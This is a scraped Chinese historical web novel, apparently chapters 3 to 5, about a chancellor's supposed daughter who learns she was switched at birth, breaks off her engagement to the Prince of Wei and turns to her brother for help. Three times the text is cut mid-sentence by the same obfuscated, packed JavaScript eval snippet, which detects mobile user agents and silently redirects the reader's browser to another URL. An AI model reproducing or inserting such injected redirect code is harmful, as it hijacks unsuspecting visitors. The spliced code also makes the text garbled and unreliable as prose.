崔弗君靠在两足凭几上,心中起了莫名的希冀,道:“我走后阿耶可有派人来找?” 崔弗君出府的消息门房定会禀告崔相。 半夏摇头。 崔弗君红了眼睛,彻底绝望,阿耶当真太狠心了,整理好情绪,崔弗君扫过屋里的箱笼,道:“都拿出来。” 半夏没有多问,照崔弗君的去做。 崔弗君诧异:“你不问问为何?” “娘子吩咐定有娘子的道理。” 崔弗君注视半夏,对她生了几分欣喜,主动解释道:“我不会走。” 半夏不假思索道:“奴婢相信娘子。” 半夏的话取悦到崔弗君,让她心中的底气增加几分,她拿出崔昭湜的巾帕:“洗干净。” “喏。” 走前,半夏道:“娘子,魏王殿下来了。” “他来作甚?”崔弗君蹙眉,转而想到前两日魏王托人送来请帖,邀请她一道过上元节,去资圣寺赏花灯。 先前她生辰,魏王早就与她说过,只她当时闹脾气拒绝了,两人同是极骄傲之人,谁也不肯低头,可末了魏王还是派人送来请帖。 若是平日,崔弗君知道魏王低头定会欣然同意,可那时她根本没空搭理魏王这个未婚夫。 魏王,圣人第九子,母妃乃圣宠二十年的萧惠妃,崔弗君的未婚夫,她与他定亲已有一年,亲事是圣人亲自赐婚,而崔府竟同意了。 殊知崔弗君出生五姓七望的崔家,崔家重门第,兼之为保高贵血统,向来只与其同为士族之首的家族通婚,根本不屑与皇族联姻。 天下各姓皆以嫁娶五姓子女为荣,重阀阅,时代风气如此。 前朝有一宰相,士族出身,为维护家族门第,曾为孙女拒嫁太子,而将孙女许五姓中一身职九品卫佐的男儿。 而崔弗君更是长安城中最为鲜亮的明珠,宰相之女,身份高贵,非士族培养的端淑贤德的女子,反而娇纵恣意,性情鲜朗,一袭红衣耀眼至极,一条鞭子出神入化,又天生丽质,风头甚至盖过公主,被长安城内所有少年郎追捧喜爱。 自十三岁后,登门求亲的人更是数不胜数,门庭若市,其中也包括其他几姓。 未和魏王定亲前,崔家的门口总是聚集一群鲜衣怒马、意气风发的少年,有的想睹一眼崔弗君的仪容风华,有的想找崔弗君玩,建立感情好追逐求娶。 这些少年郎,崔弗君基本没用正眼瞧过,很大一部分人还挨过崔弗君的鞭子,生气归生气,后来还是屁颠屁颠跟在崔弗君后头讨好。 那时的崔弗君根本没想嫁人,嫁人就意味约束,她可受不了那个劲儿,她只管开心放纵。 前朝有位诗人说过:人生得意须尽欢,莫使金樽空对月。 她觉得说得太对了。 本来学习家学就已然枯燥,余下的时间若还不玩乐,岂不是愧对自己来人世走一遭? 吃酒跑马,游江打球,宴饮逛街,快哉快哉! 十五岁,在太子举办的马球赛上女扮男装的崔弗君代替受伤的卢家表兄上场,与一众少年打马球追逐胜负,得全场注目,当时她所在一队有太子,而与之对立的那一队中便有魏王。 那是魏王第一次见崔弗君。 当时她欲上场,引起轩然大波,众人纷纷反对,觉得崔弗君貌若好女,瘦小得跟鸡崽子似的,面对质疑和轻视,崔弗君从容不迫,眼尾斜挑,带着目下无尘的张扬英气,语笑晏晏:“诸位阻我,是怕了?” “怕技不如我?” 崔弗君的伪装算不得上乘,其实在场有不少眼尖的人察出崔弗君是女扮男装,只不曾戳破。 他们很好奇一个女郎当真要和男子打马球?听起来新鲜又荒谬。 有好戏看了。 崔弗君的激将法成功了,后得太子欣赏首肯,崔弗君得以上场。 在球场之上,崔弗君不见怯场,一袭窄袖紧身绯红胡服,眉飞色舞,风姿绰约,击鞠之技娴熟老练,完全不输一众少年,挥杖快速凌厉,进攻型很强,身姿灵动有力,就像锋利肆意的鹰,遨游在球场上。 那一天,崔弗君在球场上的表现几乎盖过了所有世家子弟的锋芒。 “那位郎君是谁?” “听说是博陵崔氏的表公子。” 那一天,崔弗君名动长安,所有人都知道博陵崔氏出了一位不得了的表亲。 球场上,两队得分都咬得很紧,崔弗君和魏王成了对头,针锋相对,在最后一筹时,崔弗君为求胜利急功近利,身姿不稳,眼看就要从马背上掉下来,是魏王从马匹上跳过来抱住崔弗君,帮她稳住身姿避免坠马。 最后是魏王那一队拔筹。 崔弗君恼火郁闷,但也觉着不虚此行,至少酣畅淋漓,而魏王则是紧紧盯着崔弗君。 崔弗君不经意抬眸,和魏王对上视线。 魏王微笑。 崔弗君想起人家的救命之恩,压下不服气,郑重给人行礼。 看台之上,萧惠妃亦将这场球赛看在眼里,浸淫深宫多年,她自是看出崔弗君的女儿身。 马球赛上,崔弗君出尽了风头,然事后却被崔相训斥,罚了禁足。 另厢,魏王很快探查崔弗君身份,欲求娶之,萧惠妃同样满意崔弗君,只待告诉圣人,求一旨赐婚,但崔弗君出生五姓,异常高傲,此事还得问过崔相。 圣人询之,崔相果然拒绝,萧惠妃得知很是不悦。 魏王决定去见崔弗君,与崔相不同的是,崔弗君同意了。 在那场球赛上,魏王钟情于崔弗君,而崔弗君亦是相中了魏王,末了崔弗君将中意魏王的事告诉崔相,崔相不允,崔弗君据理力争,不惜绝食,崔相对女儿有愧,最后松口。 敕令下,崔弗君正式成为魏王未婚妻。 名花有主,长安城内的少年郎猝不及防,难以置信,伤心欲绝,茶饭不思,有五姓少年跑到崔弗君面前质问她为何要嫁给魏王,被崔弗君抽了鞭子。 此后崔府门楣再没有齐聚一堂的少年郎了。 后来发生了不少事,崔弗君之名名动长安是在几个月后的曲江马球赛。 铁勒部落新可汗继位,归顺大周,带着女儿亲自入京上表称臣,并称仰慕大周风尚,想与大周来一场友谊马球赛。 比赛分男女两队。 男队大周胜了,但胜得不容易。 女队由萧惠妃之女咸宁公主带队,队员俱是公主钦点之人,唯独两人不是,一是崔弗君,她是萧惠妃钦点,二是靖王推荐的靖王妃陈娥英。 靖王是萧惠妃的次子,萧惠妃共生三子两女,长子和长女早夭,次子靖王,小儿子魏王,小女儿便是咸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169079|196805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁公主。 球场之上,崔弗君的表现完全盖过咸宁公主,把可汗之女压得死死的,最后大获全胜,圣人大喜,赐金银珠帛,甚至要封未来儿媳崔弗君为县主。 对于即将成为自家人的崔弗君,圣人赏赐毫不吝啬。 崔弗君拒之,以如上赏赐换取自己喜爱之物,一御赐金鞭,一西域进贡的良驹玉花骢。 那些辉煌已是过眼云烟。 崔弗君中意魏王,但那是从前了,自做了那个无头无尾的梦,崔弗君对魏王的好感便败个干净。 崔弗君咬牙切齿。 魏王这厮是个虚情假意、人面兽心的狗东西,知道她并非崔氏娘子后转头和崔静姝勾搭上,背地里还不愿对她放手,诱哄她当外室,梦里的崔弗君也是傻,在那种绝望的处境之下,有一个人始终站在她身边,说尽甜言蜜语,她竟就那般被哄骗,自甘下贱当了见不得光的外室,又成了个屈辱至极的妾。 想想就恼恨。 崔弗君胸腔起伏,只恨不得撕了魏王那狗东西的嘴脸,但事实上她如今根本没有权利去报仇。 崔弗君学会了忍,也不得不忍下这滔天的怒火,她告诉自己小不忍则乱大谋,须臾,她平心静气,开始整理乱糟糟的思绪,分析眼下的局势。 李玄敏这厮来府肯定是找她,即便她在,阿耶也不会让她见魏王,是以阿耶肯定会用借口将魏王打发,但不巧的是魏王没有走。 崔弗君隐约有感觉,她是假货这件事恐怕短时间内是瞒不住了。 她和皇室联姻,即将成婚前夕爆出身世,若崔府为名声和颜面隐瞒,那边是欺君之罪,即便是崔家,也逃不过杀头的罪。 崔相是聪明人,肯定不会瞒,拖延也是在想法子如何两全。 崔弗君是个假货,若崔相还让崔弗君嫁给魏王,若有朝一日东窗事发,那崔家就遭殃了。 崔弗君和魏王的婚事是作罢了,但崔家嫡女和魏王的婚约却还在,这是赐婚,若解除,那就是抗旨,打圣人的脸,故而此婚约只能如期履行。 崔弗君嫁不了了,只能由真正的崔家嫡女崔静姝来履行这门婚事,让崔静姝嫁过去,婚约这悬在头上的刀就落了—— 此事没那么简单。 萧惠妃也许还好说,魏王却是不是好应付的。 魏王相中的是崔弗君,而非一个突然跳出来的崔家嫡女。 当然这些只是崔相以为。 崔弗君藉由梦境早已明白魏王会同意的,比起什么情爱,魏王更看中的是“崔”这个姓。 去岁太子谋逆被赐死,太子之位由此空虚,圣人素来对萧惠妃的两个儿子靖王以及魏王宠爱,他们两兄弟其中一人很有可能便是未来的储君。 不过最后是谁当了太子? 崔弗君记不起来,但确定不是魏王。 思及此,崔弗君幸灾乐祸笑。 笑了一下,崔弗君又闭上眼睛,神色流露出不为人知的惶恐迷茫。 也不知崔昭湜能不能说服阿耶? 接下来她又该如何活下去? 崔弗君在崔府长大,可太清楚门阀世家里的规矩,日后若留下也是仰人鼻息,寄人篱下,可若走出去,过去她年少轻狂得罪过的人定不会错失良机羞辱她。 赵家自是不能回去,那赵家父子也不是什么好东西。 崔家只能暂留,缓兵之计。 她必须从崔家走出去,嫁人是最好的出路,可她出身平庸,安能嫁给高门士族? 崔弗君失魂落魄,短短几日内便尝尽了人间百味。 不可能了。 放低要求? 崔弗君十余年的傲骨不容许她那样做。 可是不可能了...... 不,她不能认命,要想办法。 崔弗君内心深处的不甘和愤懑在沸腾。 她怎么甘心就此泯然众人? 崔弗君睁开眼,半夏进来:“娘子,帕子洗干净了。” 崔弗君凝视雪白帕子。 4. 第 4 章 上元佳节,圣人在大明宫大摆夜宴,邀朝臣、宗亲以及嫔妃等同贺佳节,魏王得知崔相告假,思及请帖石沉大海,以为崔弗君还在气头上,思虑再三,决定出一趟宫。 萧惠妃自去岁凤体便不好了,精神恍惚,疑神疑鬼,需要人陪在身边看护,魏王忧心惠妃,是以惠妃病后他多半时间俱留在宫中陪伴,也就没怎么陪同崔弗君,对未婚妻有所怠慢。 此为一,二来是魏王和崔弗君关于成婚的事有分歧,魏王欲尽早完婚,而崔弗君玩心大,尚且不愿太快完婚。 将萧惠妃托付给皇嫂,魏王便出宫了,一路至崔府,见到病榻上的崔相,好言问候便提出想见崔弗君。 崔相自是拒绝,说崔弗君身子不适,不便见人,恐病气传染给魏王。 魏王不肯走,他料定是崔弗君吩咐崔相如此说,好打发他,魏王愈发以为崔弗君依旧在气头上,她定是怪他没亲自来。 崔相见状头疼,百般和魏王迂回,却在这时,醒过来的崔静姝跑过来,一声“阿耶”打破了局面。 闻言,魏王不由打量闯进来的陌生女子,崔相何时多了位女儿? 魏王在打量崔静姝的同时,崔静姝亦是在窥伺跟前的郎君,着紫色圆领袍,披一件紫貂裘,衣着华贵,龙章凤姿,贵气逼人,一瞧便不是平常人。 崔静姝从未见过这般俊美的郎君,又觉到人家在看她,脸庞情不自禁红了,双手下意识攥紧,局促又心慌。 崔相皱起眉头。 空气寂静。 “崔相公,不与本王介绍一下这位娘子?”魏王挑眉开口,好奇道,“何时崔相公还多了个女儿?” 崔相道:“静姝,快见过魏王殿下。” 魏王,那不就是和崔弗君定亲的王爷吗? 崔静姝努力让自己大大方方,当即屈膝行礼,只这礼节行的着实生硬粗俗,甚至还出了错,竟用左手压右衽,屈膝幅度也很大,歪歪扭扭,身板不够正,像是侍婢在给魏王行礼。 魏王好笑,这是从哪里蹦出来的角色? 崔相:“殿下见谅,这是小女崔静姝,刚从乡下接回,对长安的规矩礼节尚不娴熟,不识大体。” 魏王恍然大悟:“原来如此。” 崔相:“静姝,你身子可好些了?不好好休息怎地来找我了?” “好些了,谢阿耶关心。”崔静姝细声道,“我来是有事要和阿耶说。” “何事?” 崔静姝央求道:“我听阿娘说阿耶你要将姐姐逐出府,我觉得这个惩罚太重了,其实我没事,姐姐也只是不小心罢了,是以还望阿耶开恩,莫要让姐姐走了。” 崔相没想到崔静姝火急火燎过来竟是为了给崔弗君求情。 旁边的魏王听言,眯了下眼睛,居高临下问道:“你口中的‘姐姐’是谁?” “啊,姐姐当然......”说着,崔静姝意识到自己好像说错了话,下意识看向崔相,试图寻求帮助。 崔相叹息一声:“府中一些陈年旧事罢了。” “殿下,本来此事臣打算明日上奏圣上,今儿殿下来了,臣也不打算隐瞒了,毕竟此事关乎崔家和皇室的联姻。” 魏王隐约感觉到事情牵连崔弗君。 魏王正色道:“崔相公,何事?如实告来。” “五娘并非臣的亲生女儿,静姝才是。”崔相叹息。 一言惊起千层浪。 魏王万分惊愕:“什么?此事当真?崔相公你可莫要和本王开玩笑。” 崔相:“臣岂会拿自己的血脉作假?” “这怎么可能?”魏王匪夷所思。 崔相:“事实如此,说来一言难尽。” 魏王扫过崔静姝,质问道:“那五娘呢?她在哪里?方才她说崔相公要将五娘逐出府?无缘无故,崔相就要为维护门第尊严将生养了十六年的五娘赶走?未免过于狠心。” “五娘她已经不适合在崔府了。”崔相只道。 崔静姝插嘴:“阿耶,姐姐并非罪无可恕,她只是不小心推我下水了。” 话音落,魏王的目光便落在崔静姝身上,看她的样子的确是刚经了一场大病,像是刚从鬼门关走一趟回来。 崔弗君推她下水? 崔弗君脾气差,若受此刺激不是没可能做出失去理智的事来。 崔相微不可察睨了崔静姝一眼。 这时,崔府的大管事来报:“家主,三郎君归府了。” 话落,大管事凑在崔相耳边说了声密语,崔相点头挥袖,神色不显山露水,大管事告退。 魏王诧异:“三郎君?本王有所耳闻,莫非就是崔相公的嫡子?听说他一直在博陵安平老家,怎么过来了?” “犬子年及弱冠。” 魏王恍然大悟。 崔相给崔静姝介绍:“静姝,三郎君便是你的兄长,崔昭湜。” 崔静姝颔首,控制不住偷看魏王,面上道:“阿耶,女儿记下了。” “殿下,五娘和六娘的事臣明日会给殿下一个交代。” “交代?”魏王意味不明重复一遍,忽视崔相的逐客令,道,“本王有些好奇崔相公的儿子会是怎样一个人,说来他可是本王的舅兄。” 未久,崔昭湜至崔相院门口,将猫儿递给护卫,只身步入院中,在小厮的带领下进得堂内。 崔昭湜敛衽躬身,姿态谦和:“儿见过父亲,愿父亲身体安康。” 崔相道:“路上一切顺利?” “承蒙父亲担忧,万事顺遂。”崔昭湜注意到屋内的一男一女。 “这位是当今魏王殿下,这位便是你的胞妹静姝。”崔相介绍道。 崔昭湜不卑不亢见礼:“某见过魏王殿下。” “久仰三郎君美名,幸会幸会。”魏王朗声道。 崔昭湜:“殿下过誉。” “六妹。”崔昭湜神色温柔。 崔静姝打量面前陌生的胞兄,心想这才是她的兄长:“见过阿兄。” 崔昭湜微笑,崔相与之闲谈,魏王自是瞧出父子两人有话要说,转头道:“崔相公和三郎君父子相会,本王就不便叨扰了,告辞。” “殿下见谅,您慢走。”崔相道,“来人,送殿下。” “不必了。” 魏王回绝,转身离去。 崔相道:“静姝,为父和你兄长有话要说。” “阿耶,姐姐的事望阿耶三思。”说罢,崔静姝离去,出了门,便小跑追上魏王。 “魏王殿下,我送您。” 魏王回眸,道:“你可知你姐姐住在何处?” 崔静姝下意识道:“我知道。” 堂屋内,崔相道:“你和绛奴一道回府的?” “是。” “路上碰到的?” 崔昭湜摇头,缓缓坐下,笃定道:“父亲在朝堂上宦海沉浮多年,又和妹妹朝夕相处,怎会不解妹妹的性子?” 崔相了然了:“绛奴这是特意去找你来说情了?” “父亲明知妹妹不会做那等事,为何要装作不知?甚而要将她逐出崔府?”崔昭湜说。 话说到这个份上,崔相也没什么好隐瞒了,神色复杂:“世事无常,谁料会出这档子大祸。” “绛奴为人娇纵肆意,不懂遮掩锋芒,已然成为众矢之的,木秀于林,风必摧之,若由此放任下去,迟早因骄矜自恃吃大亏,闯下弥天大祸。” “我便打算趁此时机决意磋磨打压她的心性,不破不立,只要她过了这一关,未来定是锦绣光明,倘若此关她过不去,那她就不是我崔洵的女儿,愧对崔家这十余年对她的养育栽培。”崔相话语冷酷,但里头亦包裹对崔弗君的爱护。 崔弗君性叛逆,崔相原本打算将崔弗君培育为贤淑慧德的大家闺秀,未来嫁人定会成为完美的世家主母,然崔弗君偏反其道而行之,崔相最终妥协,半将女儿当儿子培养,不耽于琴棋书画诗书,更辅以武学,也因为此,崔弗君与长安世家养在深闺的贵女截然不同,不仅喜抛头露面,更是锋芒过甚。 崔昭湜颔首:“父亲对妹妹良苦用心,但父亲可曾想过妹妹那般骄傲的人万一想不开呢?” 崔昭湜的话让崔相一愣。 崔昭湜不紧不慢说:“被告知不是父母的女儿,又不被父母相信,被驱逐出府,受了天大的委屈,纵是成年男子也不一定经得起这般沉重打击,何况是妹妹,她才十六。” “且妹妹一旦脱离崔府,没了崔府的庇护,她又当如何?” 崔昭湜的话很有道理,崔相思索,脸色凝固,有些难看。 气氛沉默。 “儿知道父亲是为妹妹好,然儿认为还是暂且将妹妹留在府中更好,妹妹此次来寻我,便表示她已经开始长大了,且今后有我,会看着妹妹的。”崔昭湜保证道。 不知想到什么,崔相审视面前的嫡子,他与过去截然不同,俨然成为优秀至极的继承人,有望撑起崔氏门楣。 崔相松口:“我老了,待你入了仕,我崔氏二房便交由你了。” “承父亲信任,儿定不让父亲失望。” “你认为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169080|196805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绛奴接下来该以何身份留在府中?” “远房表亲,至于说法,想必父亲自有判断。” “嗯。”崔相摸了摸胡须,“只能如此了。” 话落,崔相依旧愁容满面,崔昭湜道:“父亲还有何忧心事?” “自然是绛奴和魏王的婚事,方才魏王你也见过了。” 崔昭湜温温一笑:“魏王确实是人中龙凤。” “若非当初我心软,我绝对不会同意这门亲事。”崔相闭了闭眼睛。 崔昭湜虽人在祖地,却对长安局势有所了解,他或多或少清楚崔相心里在想什么,无非是不喜魏王的母妃萧惠妃。 萧惠妃,野心昭昭,祸乱宫闱,朝野上下俱知是太子之死是被她构陷,偏生得圣人宠爱,始终荣宠不衰。 崔昭湜看出崔相盘算:“父亲想借此事解除婚约?” 崔相:“只是难啊。” “即便父亲提出,圣人怕是挑不出错。”崔昭湜思索。 崔相压低声音道:“难应付的萧惠妃那边。” “萧惠妃?儿听闻惠妃如今卧病在榻。” 崔相冷笑。 夜深人静,父子二人之间没有什么相见的喜悦,有的只是凝重以及对未来的抉择。 朝堂波云诡谲,多事之秋。 . 在崔静姝的毛遂自荐下,她带着魏王往海棠轩走。 庭燎宫灯明亮,路上崔静姝询问魏王为何要去见崔弗君,被魏王意味不明扫了一眼,仿佛洞悉了崔静姝的心事,崔静姝抿了抿唇,装作摔倒,被魏王扶住。 “夜路光暗,娘子当心。” 崔静姝慢吞吞从魏王怀中抽身,一脸小女儿娇态,柔声道:“多谢殿下。” “无妨。” “殿下,阿娘说我在家中排行第六。” “崔六娘子。”魏王立刻道。 崔静姝一笑。 魏王:“敢问六娘子还有多久到?” 崔静姝环顾四周,突然面上浮现歉意:“对不住,魏王殿下,我好像记错路了,姐姐的海棠轩不是走这边,实在抱歉,我才刚来府上几天,不是很熟悉府中环境。” 看在崔静姝是崔相女儿的份上,魏王没有计较,和和气气道:“无妨。” “六娘子身子无恙吧?” 崔静姝柔弱地咳嗽两声,面色苍白,眉目间尽显楚楚之态,叫人不住怜惜:“有劳殿下记挂,阿娘请了医师过来,昏了一天一夜,没什么大事了。” 魏王目睹,想这崔静姝倒是和崔弗君完全不同,矫揉造作,心机拙劣,虽是崔家女,却未被崔家生养,魏王有点好奇这其中之事了,有意思,只崔相那老狐狸却打马虎眼不肯说,也是,此事涉及崔家颜面,若非涉及皇室联姻,崔相怕是打死不会说。 挥去那点因男人本能生起的怜惜,魏王心下鄙夷。 崔静姝叫来一个侍婢带路,随后道:“殿下,臣女有个不情之请。” “什么请求?” “我很仰慕姐姐,是以想向殿下打听一些姐姐的事。” 魏王慷慨道:“令姊的确出类拔萃,冠绝长安,你想知道什么?” 两人一面踱步一面交谈,目及魏王脸上肉眼可见的欣赏和喜爱,崔静姝心中恼恨又嫉妒,面上她只一副敬仰好奇的姿态。 不多时,两人便到了海棠轩。 自崔静姝被接回崔府,崔相便将后院东边最好的院落打理出来,崔静姝是极为喜欢的,一进了院子,就再也忍不住兴奋四处打量,青瓦飞檐,雅致楼宇,奇异花草,古典精致的摆设...... 崔静姝算是开了眼,感觉自己就像是在做梦。 她以为自己是住的最好的,可当她踏入崔弗君住的海棠轩,才发现自己大错特错。 今夜满月,月光皎洁,檐下灯火明亮。 海棠轩不仅宽阔,里面的亭台楼宇俱十分华贵,叠石为山,海棠绿树,修竹曲径,莲池水榭,即便此时苑中幽静,依旧漫出一种与崔弗君一样的张扬韵味。 从正屋里出来的半夏见到了过来的两人,立即行礼:“奴婢见过魏王殿下,见过六娘子” 魏王注视屋里的灯火:“五娘子可在里头?” 半夏点头。 魏王正要进去,半夏道:“殿下,娘子刚歇下,可容奴婢进去通禀一声?” “去吧。” 半夏进屋,对正跪坐在毡垫上对高几上的佛像闭目祈祷的崔弗君道:“娘子,魏王殿下和六娘子过来了。” 崔弗君徐徐睁开眼睛。 5. 第 5 章 李玄敏和崔静姝同来? 他们这时候就勾搭上了? 崔弗君冷嗤一声,转念想也不算勾搭,他们本来就是天造地设的一对,今儿她就要和李玄敏断个干净,省得以后给她找麻烦。 要甩也是她甩了李玄敏。 一通佛前祈祷,崔弗君褪去了迷茫,开始精心计划自己的将来。 只要想到她成为魏王小妾给崔静姝端茶倒水,还要伺候讨好魏王的画面,崔弗君心里的老血都要吐出来,把个人给淹死。 是,她不是崔家嫡女,也低头去求了崔昭湜,可这不代表她就屈服这狗血的命运了。 她低头不过是能屈能伸。 崔弗君太不忿了,太恨了。 人不能输了那口气! 崔弗君找了一条抹额戴上,遮住自己额头上的淤青,整理好自己的衣冠妆容,随后入主屋。 “五娘。”魏王喊道。 崔静姝柔声细语:“见过姐姐。” 她主动解释道:“姐姐莫要误会,殿下不知姐姐住所,我遂带殿下来寻姐姐。” 崔弗君面色淡淡,也懒得告诉崔静姝关于崔家的规矩,左右从前她自个也没多遵守规矩。 崔弗君的反应在魏王意料之内,崔弗君从来不是那等疑神疑鬼的人,只是他发觉崔弗君是变得不太一样了,眉目间少了那股张扬和锋利,多了内敛和沉静。 就好比灼灼其华、艳压群芳的带刺牡丹拔掉了周身所有锋利的刺,从前只可远观而不得亵/玩,若是强行摘取,只会弄得自己遍体鳞伤,现在轻而易举就能把这朵牡丹采撷到手,约莫只会受些不痛不痒的轻伤罢了。 魏王心口有种说不出感觉,有欢喜,有惊讶,也有微妙的......失望。 另厢,崔弗君的反应却出乎崔静姝的意料,她想崔弗君只是外强中干罢了。 崔弗君冷冷淡淡见礼:“见过魏王殿下。” 魏王敛思,吓了一跳,忙过去要扶崔弗君,不解道:“五娘这是何意?你我之间无须客套。” “如今我身份有变,礼数自是要全的。”崔弗君道,目光坦然,里面没有大落的惶恐。 魏王看着,觉得好像崔弗君又从来没变。 他道:“无论你身份是什么,我的未婚妻始终只认定一个人,那就是崔弗君。” 认真打量魏王的诚恳神色,若非得老天爷眷顾叫她做个那个梦,她恐怕真叫魏王骗了过去,瞧着嘴巴说的,多好听呐。 可惜也就只是好听罢了。 崔弗君心中讽刺不屑,面上道:“殿下此话言重了。” 魏王抿了下唇,对崔静姝道:“崔六娘子,有劳你了,我和你姐姐有话要说。” 崔静姝:“殿下客气。” 走前崔静姝想起什么,开口:“姐姐有件事我想告诉你,我并不怪罪姐姐,姐姐也只是不小心罢了,阿耶那边的决定也不是我的意思,我今儿一醒来便到阿耶跟前给姐姐求情了,只是——” 崔弗君实在看不下去了,心里恶心,道:“好了,瞧你这柔柔弱弱的样子,赶紧回去休息吧,省得等会在我院子里又出了什么事,罪名又落在我头上。” 崔弗君的声线很平,可口吻里却有种久居上位的高高在上和命令,她不是在要求崔静姝出去,而是在命令。 即便身份有变,可这经年累月形成的骄矜傲慢姿态不是一朝一夕可以改变的。 这话崔静姝听着就是崔弗君看不起自己,在羞辱自己,她凭什么? 她脸色有瞬间的不正常,崔弗君,崔静姝咬牙切齿默念这三个字,后背的旧伤隐隐作痛,攥紧手心,默默退下。 “殿下来找我作甚?”崔弗君道。 魏王意欲拉住崔弗君的手,崔弗君避开,魏王拧眉头:“今日是上元节,你不肯给我回帖,我只好自己来了,弗君,对不住,这些日子实在是我轻慢了你,但你也知晓我母妃凤体有恙,我必须得在跟前侍奉。” “殿下不必解释,我理解。” “幸好我来了,不然我岂会知晓崔府发生了这么大的事,我以为你还在跟我怄气,原来不是。” “崔相公未免对你太狠,竟为了那点事要把你逐出家门,” 崔弗君睨了魏王一眼,不在乎他的想法,没有费口舌解释。 魏王真挚道:“弗君,方才我也说了,不论你是谁,我只认定你一个人当我的王妃。” “可是殿下我不愿意了。”崔弗君道。 魏王愕然,以为自己听错,难以置信地看着崔弗君。 崔弗君拉开距离,平静道:“魏王殿下,我没有资格也不愿意当您的王妃了,我并非崔家嫡女,此事瞒不了多久,这场婚姻我有自知之明,日后会成为殿下王妃的人是崔静姝。” 魏王莫名语塞:“弗君,你在说笑吗?” 他不嫌弃崔弗君的身份执意要把王妃之位送给她,可她竟然不识时务拒绝? 为何? 魏王百思不得其解。 崔弗君道:“是。” 想了想,崔弗君别过脸,烛火将她的脸一分为二,阴影笼罩,衬出了几分不为人知的落寞。 魏王定定注视她。 再回眸,崔弗君一脸决然,拿起旁边一把剪子,夹住自己一缕头发,道:“殿下往后就忘了我吧。” “我们就形同此发。”说罢,崔弗君用剪子将一缕青丝剪断,一截青丝落地,昭示崔弗君和魏王从此陌路。 发落情断,再无瓜葛。 “崔弗君,你——”魏王怒之,他想拂袖一走了之,可思及适才崔弗君流露的脆弱,弥足珍贵,说不出的美,魏王的怒火顿时消弭大半。 一直以来,他都是低头退让的那位。 魏王坚决道:“弗君,我不会放弃你,你永远是我认定的王妃。” “殿下何必再执着?”崔弗君蹙眉。 魏王抓住了崔弗君垂落的披帛:“这场婚约你说了不算。” “可也不是殿下说了算,殿下以为惠妃娘娘会同意吗?” 魏王道:“我会说服母妃,只要母妃同意,父皇自然也不会有异议,弗君,你且在府中等我消息。” 言毕,魏王火急火燎离开。 看着魏王消失,崔弗君抽下披帛,悠悠倒了一杯水吃。 说服?魏王若是能说服萧惠妃那真是太阳打西边出来了。 崔弗君讥讽一笑,又去拜佛了。 崔弗君一向是不信什么神佛的,可自做了那个梦以后,崔弗君有些信了,正好等崔昭湜消息时她心思浮躁,纵是练字也无法平静下来,若是从前,她心情不好就喜欢骑马出去,只是如今没办法那样任性了,是以崔弗君画了一幅神佛像,跪坐在毡垫上祭拜。 至深夜,半夏来告:“娘子,有个侍从过来了,送来一封信。” “信?” “谁送来的?” “奴婢不认识,那送信人身量高大,好像是断眉。” 断眉......应当是崔昭湜身边的护卫。 思及此,崔弗君心头一喜,急急打开信,字迹端正秀雅,应当是崔昭湜的字迹。 父亲已同意妹妹留在府中,以表姑娘自处。 表姑娘...... 在意料之中,至少是个不坏的结局,比逐出府好一万倍。 但信还没完。 留府的前提是崔弗君要去给崔静姝赔礼道歉。 看到这里,崔弗君顿时憋闷,委屈和恼火涌出来,又伴随一阵无力感,崔弗君闭上眼睛,将所有情绪消化。 她没有底气再任性下去了,人在屋檐下不得不低头,史料之中越王勾践卧薪尝胆十年,韩信忍胯下之辱,隐忍蛰伏,今儿只是要她去吃下这大亏道歉罢了,有何不可? 崔弗君眼尾通红。 半夏小心翼翼道:“娘子,夜深了,无论如何也请娘子保重身体,早些歇息。” 日子还要继续过。 “不。”崔弗君却说。 . 崔昭湜十二岁离家前,住的是中院的栖鹤堂,他走了,栖鹤堂便空置下来,一直有仆役打理。 早些时候卢氏得知崔昭湜要归府,便命人将栖鹤堂修缮打扫,是以崔昭湜回来后定是住在栖鹤堂。 崔弗君和半夏一路至栖鹤堂。 寒风呼啸,崔弗君出来得匆忙,只披了件斗篷,至栖鹤堂,院门紧闭。 半夏敲门,耳房里的小厮出来打开些许门扉,见是崔弗君,忙不迭道:“小的见过五娘子。” “麻烦告诉阿兄,我来找他。”语气没有趾高气扬,分外平和。 小厮听言,微怔片刻:“五娘子稍等,小的这就去禀告。” 彼时,崔昭湜正在书房内温习,科考在即,即便舟车劳顿也不得松懈。 “郎君,五娘子求见。”小厮道。 须臾,崔昭湜抬起头,眼神温和沉静:“请她进来。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169081|196805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喏。” 崔弗君在小厮的引领下来到书房,推开门,热气裹挟檀香扑鼻而来,崔弗君见到跪坐在梨花木矮榻上崔昭湜,一袭雪白常服,温润如玉,贵气逼人。 “阿兄。”崔弗君行礼。 